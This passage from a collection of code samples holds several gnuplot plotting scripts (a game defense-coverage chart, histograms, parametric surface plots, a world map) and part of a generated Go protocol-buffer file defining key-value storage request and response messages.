    "content": "#\n# defense_plotter.plt\n#\n# This is a gnuplot script that creates the graphs for defense values.\n#\n# Defense values are from:\n#\n#   http://wiki.starsautohost.org/wiki/Guts_of_bombing\n#   Author:  Leonard Dickens\n#   Date:  1998/07/17\n#   Forums:  rec.games.computer.stars\n#\n# :author: Brandon Arrendondo\n# :license: MIT\n#\nset terminal pngcairo transparent truecolor font \"Arial Bold,10\" size 350, 250\nset output \"out.png\"\n\nset title \"Shield Coverage vs. Defense Quantity\"\nset grid\nset xrange [0:100]\nset xlabel \"Number of Defenses\"\n\nset format y '%2.0f%%'\nset yrange [0:100]\n\nset key right bottom\n\nsdi = 0.0099\nmissile_battery = 0.0199\nlaser_battery = 0.0239\nplanetary_shield = 0.0299\nneutron_shield = 0.0379\n\nval = neutron_shield\n\nf(x) = (1.0 - ((1.0 - (val)) ** x)) * 100.0\ng(x) = (1.0 - ((1.0 - (val/2.0)) ** x)) * 100.0\n\nplot f(x) title \"Standard\" lt rgb \"#000080\", g(x) title \"Smart\" lt rgb \"#000000\"\n"
  },
  {
    "path": "samples/Gnuplot/histograms.2.gnu",
    "content": "# set terminal pngcairo  transparent enhanced font \"arial,10\" fontscale 1.0 size 500, 350 \n# set output 'histograms.2.png'\nset boxwidth 0.9 absolute\nset style fill   solid 1.00 border lt -1\nset key inside right top vertical Right noreverse noenhanced autotitles nobox\nset style histogram clustered gap 1 title  offset character 0, 0, 0\nset datafile missing '-'\nset style data histograms\nset xtics border in scale 0,0 nomirror rotate by -45  offset character 0, 0, 0 autojustify\nset xtics  norangelimit font \",8\"\nset xtics   ()\nset title \"US immigration from Northern Europe\\nPlot selected data columns as histogram of clustered boxes\" \nset yrange [ 0.00000 : 300000. ] noreverse nowriteback\ni = 22\nplot 'immigration.dat' using 6:xtic(1) ti col, '' u 12 ti col, '' u 13 ti col, '' u 14 ti col\n"
  },
  {
    "path": "samples/Gnuplot/rates.gp",
    "content": "#!/usr/bin/env gnuplot\n\nreset\n\nset terminal png\nset output 'rates100.png'\n\nset xlabel \"A2A price\"\nset ylabel \"Response Rate\"\n\n#set xr [0:5]\n#set yr [0:6]\n\nplot 'rates100.dat' pt 7 notitle\n"
  },
  {
    "path": "samples/Gnuplot/surface1.16.gnu",
    "content": "# set terminal pngcairo  transparent enhanced font \"arial,10\" fontscale 1.0 size 500, 350 \n# set output 'surface1.16.png'\nset dummy u,v\nset label 1 \"increasing v\" at 6, 0, -1 left norotate back nopoint offset character 0, 0, 0\nset label 2 \"u=0\" at 5, 6.5, -1 left norotate back nopoint offset character 0, 0, 0\nset label 3 \"u=1\" at 5, 6.5, 0.100248 left norotate back nopoint offset character 0, 0, 0\nset arrow 1 from 5, -5, -1.2 to 5, 5, -1.2 head back nofilled linetype -1 linewidth 1.000\nset arrow 2 from 5, 6, -1 to 5, 5, -1 head back nofilled linetype -1 linewidth 1.000\nset arrow 3 from 5, 6, 0.100248 to 5, 5, 0.100248 head back nofilled linetype -1 linewidth 1.000\nset parametric\nset view 70, 20, 1, 1\nset samples 51, 51\nset isosamples 2, 33\nset hidden3d back offset 1 trianglepattern 3 undefined 1 altdiagonal bentover\nset ztics -1.00000,0.25,1.00000 norangelimit\nset title \"\\\"fence plot\\\" using separate parametric surfaces\" \nset xlabel \"X axis\" \nset xlabel  offset character -3, -2, 0 font \"\" textcolor lt -1 norotate\nset xrange [ -5.00000 : 5.00000 ] noreverse nowriteback\nset ylabel \"Y axis\" \nset ylabel  offset character 3, -2, 0 font \"\" textcolor lt -1 rotate by -270\nset yrange [ -5.00000 : 5.00000 ] noreverse nowriteback\nset zlabel \"Z axis\" \nset zlabel  offset character -5, 0, 0 font \"\" textcolor lt -1 norotate\nset zrange [ -1.00000 : 1.00000 ] noreverse nowriteback\nsinc(u,v) = sin(sqrt(u**2+v**2)) / sqrt(u**2+v**2)\nGPFUN_sinc = \"sinc(u,v) = sin(sqrt(u**2+v**2)) / sqrt(u**2+v**2)\"\nxx = 6.08888888888889\ndx = 1.10888888888889\nx0 = -5\nx1 = -3.89111111111111\nx2 = -2.78222222222222\nx3 = -1.67333333333333\nx4 = -0.564444444444444\nx5 = 0.544444444444445\nx6 = 1.65333333333333\nx7 = 2.76222222222222\nx8 = 3.87111111111111\nx9 = 4.98\nsplot [u=0:1][v=-4.99:4.99] \tx0, v, (u<0.5) ? -1 : sinc(x0,v) notitle, \tx1, v, (u<0.5) ? -1 : sinc(x1,v) notitle, \tx2, v, (u<0.5) ? -1 : sinc(x2,v) notitle, \tx3, v, (u<0.5) ? -1 : sinc(x3,v) notitle, \tx4, v, (u<0.5) ? -1 : sinc(x4,v) notitle, \tx5, v, (u<0.5) ? -1 : sinc(x5,v) notitle, \tx6, v, (u<0.5) ? -1 : sinc(x6,v) notitle, \tx7, v, (u<0.5) ? -1 : sinc(x7,v) notitle, \tx8, v, (u<0.5) ? -1 : sinc(x8,v) notitle, \tx9, v, (u<0.5) ? -1 : sinc(x9,v) notitle\n"
  },
  {
    "path": "samples/Gnuplot/surface1.17.gnu",
    "content": "# set terminal pngcairo  transparent enhanced font \"arial,10\" fontscale 1.0 size 500, 350 \n# set output 'surface1.17.png'\nset dummy u,v\nset label 1 \"increasing v\" at 6, 0, -1 left norotate back nopoint offset character 0, 0, 0\nset label 2 \"increasing u\" at 0, -5, -1.5 left norotate back nopoint offset character 0, 0, 0\nset label 3 \"floor(u)%3=0\" at 5, 6.5, -1 left norotate back nopoint offset character 0, 0, 0\nset label 4 \"floor(u)%3=1\" at 5, 6.5, 0.100248 left norotate back nopoint offset character 0, 0, 0\nset arrow 1 from 5, -5, -1.2 to 5, 5, -1.2 head back nofilled linetype -1 linewidth 1.000\nset arrow 2 from -5, -5, -1.2 to 5, -5, -1.2 head back nofilled linetype -1 linewidth 1.000\nset arrow 3 from 5, 6, -1 to 5, 5, -1 head back nofilled linetype -1 linewidth 1.000\nset arrow 4 from 5, 6, 0.100248 to 5, 5, 0.100248 head back nofilled linetype -1 linewidth 1.000\nset parametric\nset view 70, 20, 1, 1\nset samples 51, 51\nset isosamples 30, 33\nset hidden3d back offset 1 trianglepattern 3 undefined 1 altdiagonal bentover\nset ztics -1.00000,0.25,1.00000 norangelimit\nset title \"\\\"fence plot\\\" using single parametric surface with undefined points\" \nset xlabel \"X axis\" \nset xlabel  offset character -3, -2, 0 font \"\" textcolor lt -1 norotate\nset xrange [ -5.00000 : 5.00000 ] noreverse nowriteback\nset ylabel \"Y axis\" \nset ylabel  offset character 3, -2, 0 font \"\" textcolor lt -1 rotate by -270\nset yrange [ -5.00000 : 5.00000 ] noreverse nowriteback\nset zlabel \"Z axis\" \nset zlabel  offset character -5, 0, 0 font \"\" textcolor lt -1 norotate\nset zrange [ -1.00000 : 1.00000 ] noreverse nowriteback\nsinc(u,v) = sin(sqrt(u**2+v**2)) / sqrt(u**2+v**2)\nGPFUN_sinc = \"sinc(u,v) = sin(sqrt(u**2+v**2)) / sqrt(u**2+v**2)\"\nxx = 6.08888888888889\ndx = 1.11\nx0 = -5\nx1 = -3.89111111111111\nx2 = -2.78222222222222\nx3 = -1.67333333333333\nx4 = -0.564444444444444\nx5 = 0.544444444444445\nx6 = 1.65333333333333\nx7 = 2.76222222222222\nx8 = 3.87111111111111\nx9 = 4.98\nxmin = -4.99\nxmax = 5\nn = 10\nzbase = -1\nsplot [u=.5:3*n-.5][v=-4.99:4.99] \t xmin+floor(u/3)*dx, v, ((floor(u)%3)==0) ? zbase : \t\t\t (((floor(u)%3)==1) ? sinc(xmin+u/3.*dx,v) : 1/0) notitle\n"
  },
  {
    "path": "samples/Gnuplot/world2.1.gnu",
    "content": "# set terminal pngcairo  transparent enhanced font \"arial,10\" fontscale 1.0 size 500, 350 \n# set output 'world2.1.png'\nunset border\nset dummy u,v\nset angles degrees\nset parametric\nset view 60, 136, 1.22, 1.26\nset samples 64, 64\nset isosamples 13, 13\nset mapping spherical\nset noxtics\nset noytics\nset noztics\nset title \"Labels colored by GeV plotted in spherical coordinate system\" \nset urange [ -90.0000 : 90.0000 ] noreverse nowriteback\nset vrange [ 0.00000 : 360.000 ] noreverse nowriteback\nset cblabel \"GeV\" \nset cbrange [ 0.00000 : 8.00000 ] noreverse nowriteback\nset colorbox user\nset colorbox vertical origin screen 0.9, 0.2, 0 size screen 0.02, 0.75, 0 front bdefault\nsplot cos(u)*cos(v),cos(u)*sin(v),sin(u) notitle with lines lt 5,       'world.dat' notitle with lines lt 2,       'srl.dat' using 3:2:(1):1:4 with labels notitle point pt 6 lw .1 left offset 1,0 font \"Helvetica,7\" tc pal\n"
  },
  {
    "path": "samples/Go/api.pb.go",
    "content": "// Code generated by protoc-gen-gogo.\n// source: api.proto\n// DO NOT EDIT!\n\n/*\n\tPackage proto is a generated protocol buffer package.\n\n\tIt is generated from these files:\n\t\tapi.proto\n\t\tconfig.proto\n\t\tdata.proto\n\t\terrors.proto\n\t\tgossip.proto\n\t\theartbeat.proto\n\t\tinternal.proto\n\n\tIt has these top-level messages:\n\t\tClientCmdID\n\t\tRequestHeader\n\t\tResponseHeader\n\t\tContainsRequest\n\t\tContainsResponse\n\t\tGetRequest\n\t\tGetResponse\n\t\tPutRequest\n\t\tPutResponse\n\t\tConditionalPutRequest\n\t\tConditionalPutResponse\n\t\tIncrementRequest\n\t\tIncrementResponse\n\t\tDeleteRequest\n\t\tDeleteResponse\n\t\tDeleteRangeRequest\n\t\tDeleteRangeResponse\n\t\tScanRequest\n\t\tScanResponse\n\t\tEndTransactionRequest\n\t\tEndTransactionResponse\n\t\tReapQueueRequest\n\t\tReapQueueResponse\n\t\tEnqueueUpdateRequest\n\t\tEnqueueUpdateResponse\n\t\tEnqueueMessageRequest\n\t\tEnqueueMessageResponse\n\t\tRequestUnion\n\t\tResponseUnion\n\t\tBatchRequest\n\t\tBatchResponse\n\t\tAdminSplitRequest\n\t\tAdminSplitResponse\n\t\tAdminMergeRequest\n\t\tAdminMergeResponse\n*/\npackage proto\n\nimport proto1 \"github.com/gogo/protobuf/proto\"\nimport math \"math\"\n\n// discarding unused import gogoproto \"github.com/gogo/protobuf/gogoproto/gogo.pb\"\n\n// Reference imports to suppress errors if they are not otherwise used.\nvar _ = proto1.Marshal\nvar _ = math.Inf\n\n// ClientCmdID provides a unique ID for client commands. Clients which\n// provide ClientCmdID gain operation idempotence. In other words,\n// clients can submit the same command multiple times and always\n// receive the same response. This is common on retries over flaky\n// networks. However, the system imposes a limit on how long\n// idempotence is provided. Retries over an hour old are not\n// guaranteed idempotence and may be executed more than once with\n// potentially different results.\n//\n// ClientCmdID contains the client's timestamp and a client-generated\n// random number. The client Timestamp is specified in unix\n// nanoseconds and is used for some uniqueness but also to provide a\n// rough ordering of requests, useful for data locality on the\n// server. The Random is specified for additional uniqueness.\n// NOTE: An accurate time signal IS NOT required for correctness.\ntype ClientCmdID struct {\n\t// Nanoseconds since Unix epoch.\n\tWallTime         int64  `protobuf:\"varint,1,opt,name=wall_time\" json:\"wall_time\"`\n\tRandom           int64  `protobuf:\"varint,2,opt,name=random\" json:\"random\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n}\n\nfunc (m *ClientCmdID) Reset()         { *m = ClientCmdID{} }\nfunc (m *ClientCmdID) String() string { return proto1.CompactTextString(m) }\nfunc (*ClientCmdID) ProtoMessage()    {}\n\nfunc (m *ClientCmdID) GetWallTime() int64 {\n\tif m != nil {\n\t\treturn m.WallTime\n\t}\n\treturn 0\n}\n\nfunc (m *ClientCmdID) GetRandom() int64 {\n\tif m != nil {\n\t\treturn m.Random\n\t}\n\treturn 0\n}\n\n// RequestHeader is supplied with every storage node request.\ntype RequestHeader struct {\n\t// Timestamp specifies time at which read or writes should be\n\t// performed. If the timestamp is set to zero value, its value\n\t// is initialized to the wall time of the receiving node.\n\tTimestamp Timestamp `protobuf:\"bytes,1,opt,name=timestamp\" json:\"timestamp\"`\n\t// CmdID is optionally specified for request idempotence\n\t// (i.e. replay protection).\n\tCmdID ClientCmdID `protobuf:\"bytes,2,opt,name=cmd_id\" json:\"cmd_id\"`\n\t// The key for request. If the request operates on a range, this\n\t// represents the starting key for the range.\n\tKey Key `protobuf:\"bytes,3,opt,name=key,customtype=Key\" json:\"key\"`\n\t// End key is empty if request spans only a single key.\n\tEndKey Key `protobuf:\"bytes,4,opt,name=end_key,customtype=Key\" json:\"end_key\"`\n\t// User is the originating user. Used to lookup priority when\n\t// scheduling queued operations at target node.\n\tUser string `protobuf:\"bytes,5,opt,name=user\" json:\"user\"`\n\t// Replica specifies the destination for the request. This is a specific\n\t// instance of the available replicas belonging to RangeID.\n\tReplica Replica `protobuf:\"bytes,6,opt,name=replica\" json:\"replica\"`\n\t// RaftID specifies the ID of the Raft consensus group which the key\n\t// range belongs to. This is used by the receiving node to route the\n\t// request to the correct range.\n\tRaftID int64 `protobuf:\"varint,7,opt,name=raft_id\" json:\"raft_id\"`\n\t// UserPriority specifies priority multiple for non-transactional\n\t// commands. This value should be a positive integer [1, 2^31-1).\n\t// It's properly viewed as a multiple for how likely this\n\t// transaction will be to prevail if a write conflict occurs.\n\t// Commands with UserPriority=100 will be 100x less likely to be\n\t// aborted as conflicting transactions or non-transactional commands\n\t// with UserPriority=1. This value is ignored if Txn is\n\t// specified. If neither this value nor Txn is specified, the value\n\t// defaults to 1.\n\tUserPriority *int32 `protobuf:\"varint,8,opt,name=user_priority,def=1\" json:\"user_priority,omitempty\"`\n\t// Txn is set non-nil if a transaction is underway. To start a txn,\n\t// the first request should set this field to non-nil with name and\n\t// isolation level set as desired. The response will contain the\n\t// fully-initialized transaction with txn ID, priority, initial\n\t// timestamp, and maximum timestamp.\n\tTxn              *Transaction `protobuf:\"bytes,9,opt,name=txn\" json:\"txn,omitempty\"`\n\tXXX_unrecognized []byte       `json:\"-\"`\n}\n\nfunc (m *RequestHeader) Reset()         { *m = RequestHeader{} }\nfunc (m *RequestHeader) String() string { return proto1.CompactTextString(m) }\nfunc (*RequestHeader) ProtoMessage()    {}\n\nconst Default_RequestHeader_UserPriority int32 = 1\n\nfunc (m *RequestHeader) GetTimestamp() Timestamp {\n\tif m != nil {\n\t\treturn m.Timestamp\n\t}\n\treturn Timestamp{}\n}\n\nfunc (m *RequestHeader) GetCmdID() ClientCmdID {\n\tif m != nil {\n\t\treturn m.CmdID\n\t}\n\treturn ClientCmdID{}\n}\n\nfunc (m *RequestHeader) GetUser() string {\n\tif m != nil {\n\t\treturn m.User\n\t}\n\treturn \"\"\n}\n\nfunc (m *RequestHeader) GetReplica() Replica {\n\tif m != nil {\n\t\treturn m.Replica\n\t}\n\treturn Replica{}\n}\n\nfunc (m *RequestHeader) GetRaftID() int64 {\n\tif m != nil {\n\t\treturn m.RaftID\n\t}\n\treturn 0\n}\n\nfunc (m *RequestHeader) GetUserPriority() int32 {\n\tif m != nil && m.UserPriority != nil {\n\t\treturn *m.UserPriority\n\t}\n\treturn Default_RequestHeader_UserPriority\n}\n\nfunc (m *RequestHeader) GetTxn() *Transaction {\n\tif m != nil {\n\t\treturn m.Txn\n\t}\n\treturn nil\n}\n\n// ResponseHeader is returned with every storage node response.\ntype ResponseHeader struct {\n\t// Error is non-nil if an error occurred.\n\tError *Error `protobuf:\"bytes,1,opt,name=error\" json:\"error,omitempty\"`\n\t// Timestamp specifies time at which read or write actually was\n\t// performed. In the case of both reads and writes, if the timestamp\n\t// supplied to the request was 0, the wall time of the node\n\t// servicing the request will be set here. Additionally, in the case\n\t// of writes, this value may be increased from the timestamp passed\n\t// with the RequestHeader if the key being written was either read\n\t// or written more recently.\n\tTimestamp Timestamp `protobuf:\"bytes,2,opt,name=timestamp\" json:\"timestamp\"`\n\t// Transaction is non-nil if the request specified a non-nil\n\t// transaction. The transaction timestamp and/or priority may have\n\t// been updated, depending on the outcome of the request.\n\tTxn              *Transaction `protobuf:\"bytes,3,opt,name=txn\" json:\"txn,omitempty\"`\n\tXXX_unrecognized []byte       `json:\"-\"`\n}\n\nfunc (m *ResponseHeader) Reset()         { *m = ResponseHeader{} }\nfunc (m *ResponseHeader) String() string { return proto1.CompactTextString(m) }\nfunc (*ResponseHeader) ProtoMessage()    {}\n\nfunc (m *ResponseHeader) GetError() *Error {\n\tif m != nil {\n\t\treturn m.Error\n\t}\n\treturn nil\n}\n\nfunc (m *ResponseHeader) GetTimestamp() Timestamp {\n\tif m != nil {\n\t\treturn m.Timestamp\n\t}\n\treturn Timestamp{}\n}\n\nfunc (m *ResponseHeader) GetTxn() *Transaction {\n\tif m != nil {\n\t\treturn m.Txn\n\t}\n\treturn nil\n}\n\n// A ContainsRequest is arguments to the Contains() method.\ntype ContainsRequest struct {\n\tRequestHeader    `protobuf:\"bytes,1,opt,name=header,embedded=header\" json:\"header\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n}\n\nfunc (m *ContainsRequest) Reset()         { *m = ContainsRequest{} }\nfunc (m *ContainsRequest) String() string { return proto1.CompactTextString(m) }\nfunc (*ContainsRequest) ProtoMessage()    {}\n\n// A ContainsResponse is the return value of the Contains() method.\ntype ContainsResponse struct {\n\tResponseHeader   `protobuf:\"bytes,1,opt,name=header,embedded=header\" json:\"header\"`\n\tExists           bool   `protobuf:\"varint,2,opt,name=exists\" json:\"exists\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n}\n\nfunc (m *ContainsResponse) Reset()         { *m = ContainsResponse{} }\nfunc (m *ContainsResponse) String() string { return proto1.CompactTextString(m) }\nfunc (*ContainsResponse) ProtoMessage()    {}\n\nfunc (m *ContainsResponse) GetExists() bool {\n\tif m != nil {\n\t\treturn m.Exists\n\t}\n\treturn false\n}\n\n// A GetRequest is arguments to the Get() method.\ntype GetRequest struct {\n\tRequestHeader    `protobuf:\"bytes,1,opt,name=header,embedded=header\" json:\"header\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n}\n\nfunc (m *GetRequest) Reset()         { *m = GetRequest{} }\nfunc (m *GetRequest) String() string { return proto1.CompactTextString(m) }\nfunc (*GetRequest) ProtoMessage()    {}\n\n// A GetResponse is the return value from the Get() method.\n// If the key doesn't exist, returns nil for Value.Bytes.\ntype GetResponse struct {\n\tResponseHeader   `protobuf:\"bytes,1,opt,name=header,embedded=header\" json:\"header\"`\n\tValue            *Value `protobuf:\"bytes,2,opt,name=value\" json:\"value,omitempty\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n}\n\nfunc (m *GetResponse) Reset()         { *m = GetResponse{} }\nfunc (m *GetResponse) String() string { return proto1.CompactTextString(m) }\nfunc (*GetResponse) ProtoMessage()    {}\n\nfunc (m *GetResponse) GetValue() *Value {\n\tif m != nil {\n\t\treturn m.Value\n\t}\n\treturn nil\n}\n\n// A PutRequest is arguments to the Put() method. Note that to write\n// an empty value, the value parameter is still specified, but both\n// Bytes and Integer are set to nil.\ntype PutRequest struct {\n\tRequestHeader    `protobuf:\"bytes,1,opt,name=header,embedded=header\" json:\"header\"`\n\tValue            Value  `protobuf:\"bytes,2,opt,name=value\" json:\"value\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n}\n\nfunc (m *PutRequest) Reset()         { *m = PutRequest{} }\nfunc (m *PutRequest) String() string { return proto1.CompactTextString(m) }\nfunc (*PutRequest) ProtoMessage()    {}\n\nfunc (m *PutRequest) GetValue() Value {\n\tif m != nil {\n\t\treturn m.Value\n\t}\n\treturn Value{}\n}\n\n// A PutResponse is the return value from the Put() method.\ntype PutResponse struct {\n\tResponseHeader   `protobuf:\"bytes,1,opt,name=header,embedded=header\" json:\"header\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n}\n\nfunc (m *PutResponse) Reset()         { *m = PutResponse{} }\nfunc (m *PutResponse) String() string { return proto1.CompactTextString(m) }\nfunc (*PutResponse) ProtoMessage()    {}\n\n// A ConditionalPutRequest is arguments to the ConditionalPut() method.\n//\n// - Returns true and sets value if ExpValue equals existing value.\n// - If key doesn't exist and ExpValue is nil, sets value.\n// - If key exists, but value is empty and ExpValue is not nil but empty, sets value.\n// - Otherwise, returns error and the actual value of the key in the response.\ntype ConditionalPutRequest struct {\n\tRequestHeader `protobuf:\"bytes,1,opt,name=header,embedded=header\" json:\"header\"`\n\t// The value to put.\n\tValue Value `protobuf:\"bytes,2,opt,name=value\" json:\"value\"`\n\t// ExpValue.Bytes empty to test for non-existence. Specify as nil\n\t// to indicate there should be no existing entry. This is different\n\t// from the expectation that the value exists but is empty.\n\tExpValue         *Value `protobuf:\"bytes,3,opt,name=exp_value\" json:\"exp_value,omitempty\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n}\n\nfunc (m *ConditionalPutRequest) Reset()         { *m = ConditionalPutRequest{} }\nfunc (m *ConditionalPutRequest) String() string { return proto1.CompactTextString(m) }\nfunc (*ConditionalPutRequest) ProtoMessage()    {}\n\nfunc (m *ConditionalPutRequest) GetValue() Value {\n\tif m != nil {\n\t\treturn m.Value\n\t}\n\treturn Value{}\n}\n\nfunc (m *ConditionalPutRequest) GetExpValue() *Value {\n\tif m != nil {\n\t\treturn m.ExpValue\n\t}\n\treturn nil\n}\n\n// A ConditionalPutResponse is the return value from the\n// ConditionalPut() method.\ntype ConditionalPutResponse struct {\n\tResponseHeader   `protobuf:\"bytes,1,opt,name=header,embedded=header\" json:\"header\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n}\n\nfunc (m *ConditionalPutResponse) Reset()         { *m = ConditionalPutResponse{} }\nfunc (m *ConditionalPutResponse) String() string { return proto1.CompactTextString(m) }\nfunc (*ConditionalPutResponse) ProtoMessage()    {}\n\n// An IncrementRequest is arguments to the Increment() method. It\n// increments the value for key, and returns the new value. If no\n// value exists for a key, incrementing by 0 is not a noop, but will\n// create a zero value. IncrementRequest cannot be called on a key set\n// by Put() or ConditionalPut(). Similarly, Get(), Put() and\n// ConditionalPut() cannot be invoked on an incremented key.\ntype IncrementRequest struct {\n\tRequestHeader    `protobuf:\"bytes,1,opt,name=header,embedded=header\" json:\"header\"`\n\tIncrement        int64  `protobuf:\"varint,2,opt,name=increment\" json:\"increment\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n}\n\nfunc (m *IncrementRequest) Reset()         { *m = IncrementRequest{} }\nfunc (m *IncrementRequest) String() string { return proto1.CompactTextString(m) }\nfunc (*IncrementRequest) ProtoMessage()    {}\n\nfunc (m *IncrementRequest) GetIncrement() int64 {\n\tif m != nil {\n\t\treturn m.Increment\n\t}\n\treturn 0\n}\n\n// An IncrementResponse is the return value from the Increment\n// method. The new value after increment is specified in NewValue. If\n// the value could not be decoded as specified, Error will be set.\ntype IncrementResponse struct {\n\tResponseHeader   `protobuf:\"bytes,1,opt,name=header,embedded=header\" json:\"header\"`\n\tNewValue         int64  `protobuf:\"varint,2,opt,name=new_value\" json:\"new_value\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n}\n\nfunc (m *IncrementResponse) Reset()         { *m = IncrementResponse{} }\nfunc (m *IncrementResponse) String() string { return proto1.CompactTextString(m) }\nfunc (*IncrementResponse) ProtoMessage()    {}\n\nfunc (m *IncrementResponse) GetNewValue() int64 {\n\tif m != nil {\n\t\treturn m.NewValue\n\t}\n\treturn 0\n}\n\n// A DeleteRequest is arguments to the Delete() method.\ntype DeleteRequest struct {\n\tRequestHeader    `protobuf:\"bytes,1,opt,name=header,embedded=header\" json:\"header\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n}\n\nfunc (m *DeleteRequest) Reset()         { *m = DeleteRequest{} }\nfunc (m *DeleteRequest) String() string { return proto1.CompactTextString(m) }\nfunc (*DeleteRequest) ProtoMessage()    {}\n\n// A DeleteResponse is the return value from the Delete() method.\ntype DeleteResponse struct {\n\tResponseHeader   `protobuf:\"bytes,1,opt,name=header,embedded=header\" json:\"header\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n}\n\nfunc (m *DeleteResponse) Reset()         { *m = DeleteResponse{} }\nfunc (m *DeleteResponse) String() string { return proto1.CompactTextString(m) }\nfunc (*DeleteResponse) ProtoMessage()    {}\n\n// A DeleteRangeRequest is arguments to the DeleteRange method. It\n// specifies the range of keys to delete.\ntype DeleteRangeRequest struct {\n\tRequestHeader `protobuf:\"bytes,1,opt,name=header,embedded=header\" json:\"header\"`\n\t// If 0, *all* entries between Key (inclusive) and EndKey\n\t// (exclusive) are deleted. Must be >= 0\n\tMaxEntriesToDelete int64  `protobuf:\"varint,2,opt,name=max_entries_to_delete\" json:\"max_entries_to_delete\"`\n\tXXX_unrecognized   []byte `json:\"-\"`\n}\n\nfunc (m *DeleteRangeRequest) Reset()         { *m = DeleteRangeRequest{} }\nfunc (m *DeleteRangeRequest) String() string { return proto1.CompactTextString(m) }\nfunc (*DeleteRangeRequest) ProtoMessage()    {}\n\nfunc (m *DeleteRangeRequest) GetMaxEntriesToDelete() int64 {\n\tif m != nil {\n\t\treturn m.MaxEntriesToDelete\n\t}\n\treturn 0\n}\n\n// A DeleteRangeResponse is the return value from the DeleteRange()\n// method.\ntype DeleteRangeResponse struct {\n\tResponseHeader `protobuf:\"bytes,1,opt,name=header,embedded=header\" json:\"header\"`\n\t// Number of entries removed.\n\tNumDeleted       int64  `protobuf:\"varint,2,opt,name=num_deleted\" json:\"num_deleted\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n}\n\nfunc (m *DeleteRangeResponse) Reset()         { *m = DeleteRangeResponse{} }\nfunc (m *DeleteRangeResponse) String() string { return proto1.CompactTextString(m) }\nfunc (*DeleteRangeResponse) ProtoMessage()    {}\n\nfunc (m *DeleteRangeResponse) GetNumDeleted() int64 {\n\tif m != nil {\n\t\treturn m.NumDeleted\n\t}\n\treturn 0\n}\n\n// A ScanRequest is arguments to the Scan() method. It specifies the\n// start and end keys for the scan and the maximum number of results.\ntype ScanRequest struct {\n\tRequestHeader `protobuf:\"bytes,1,opt,name=header,embedded=header\" json:\"header\"`\n\t// Must be > 0.\n\tMaxResults       int64  `protobuf:\"varint,2,opt,name=max_results\" json:\"max_results\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n}\n\nfunc (m *ScanRequest) Reset()         { *m = ScanRequest{} }\nfunc (m *ScanRequest) String() string { return proto1.CompactTextString(m) }\nfunc (*ScanRequest) ProtoMessage()    {}\n\nfunc (m *ScanRequest) GetMaxResults() int64 {\n\tif m != nil {\n\t\treturn m.MaxResults\n\t}\n\treturn 0\n}\n\n// A ScanResponse is the return value from the Scan() method.\ntype ScanResponse struct {\n\tResponseHeader `protobuf:\"bytes,1,opt,name=header,embedded=header\" json:\"header\"`\n\t// Empty if no rows were scanned.\n\tRows             []KeyValue `protobuf:\"bytes,2,rep,name=rows\" json:\"rows\"`\n\tXXX_unrecognized []byte     `json:\"-\"`\n}\n\nfunc (m *ScanResponse) Reset()         { *m = ScanResponse{} }\nfunc (m *ScanResponse) String() string { return proto1.CompactTextString(m) }\nfunc (*ScanResponse) ProtoMessage()    {}\n\nfunc (m *ScanResponse) GetRows() []KeyValue {\n\tif m != nil {\n\t\treturn m.Rows\n\t}\n\treturn nil\n}\n\n// An EndTransactionRequest is arguments to the EndTransaction() method.\n// It specifies whether to commit or roll back an extant transaction.\ntype EndTransactionRequest struct {\n\tRequestHeader `protobuf:\"bytes,1,opt,name=header,embedded=header\" json:\"header\"`\n\t// False to abort and rollback.\n\tCommit bool `protobuf:\"varint,2,opt,name=commit\" json:\"commit\"`\n\t// Optional commit triggers. Note that commit triggers are for\n\t// internal use only and will be ignored if requested through the\n\t// public-facing KV API.\n\tSplitTrigger     *SplitTrigger `protobuf:\"bytes,3,opt,name=split_trigger\" json:\"split_trigger,omitempty\"`\n\tMergeTrigger     *MergeTrigger `protobuf:\"bytes,4,opt,name=merge_trigger\" json:\"merge_trigger,omitempty\"`\n\tXXX_unrecognized []byte        `json:\"-\"`\n}\n\nfunc (m *EndTransactionRequest) Reset()         { *m = EndTransactionRequest{} }\nfunc (m *EndTransactionRequest) String() string { return proto1.CompactTextString(m) }\nfunc (*EndTransactionRequest) ProtoMessage()    {}\n\nfunc (m *EndTransactionRequest) GetCommit() bool {\n\tif m != nil {\n\t\treturn m.Commit\n\t}\n\treturn false\n}\n\nfunc (m *EndTransactionRequest) GetSplitTrigger() *SplitTrigger {\n\tif m != nil {\n\t\treturn m.SplitTrigger\n\t}\n\treturn nil\n}\n\nfunc (m *EndTransactionRequest) GetMergeTrigger() *MergeTrigger {\n\tif m != nil {\n\t\treturn m.MergeTrigger\n\t}\n\treturn nil\n}\n\n// An EndTransactionResponse is the return value from the\n// EndTransaction() method. The final transaction record is returned\n// as part of the response header. In particular, transaction status\n// and timestamp will be updated to reflect final committed\n// values. Clients may propagate the transaction timestamp as the\n// final txn commit timestamp in order to preserve causal ordering\n// between subsequent transactions. CommitWait specifies the commit\n// wait, which is the remaining time the client MUST wait before\n// signalling completion of the transaction to another distributed\n// node to maintain consistency.\ntype EndTransactionResponse struct {\n\tResponseHeader `protobuf:\"bytes,1,opt,name=header,embedded=header\" json:\"header\"`\n\t// Remaining time (ns).\n\tCommitWait       int64  `protobuf:\"varint,2,opt,name=commit_wait\" json:\"commit_wait\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n}\n\nfunc (m *EndTransactionResponse) Reset()         { *m = EndTransactionResponse{} }\nfunc (m *EndTransactionResponse) String() string { return proto1.CompactTextString(m) }\nfunc (*EndTransactionResponse) ProtoMessage()    {}\n\nfunc (m *EndTransactionResponse) GetCommitWait() int64 {\n\tif m != nil {\n\t\treturn m.CommitWait\n\t}\n\treturn 0\n}\n\n// A ReapQueueRequest is arguments to the ReapQueue() method. It\n// specifies the recipient inbox key to which messages are waiting\n// to be reapted and also the maximum number of results to return.\ntype ReapQueueRequest struct {\n\tRequestHeader `protobuf:\"bytes,1,opt,name=header,embedded=header\" json:\"header\"`\n\t// Maximum results to return; must 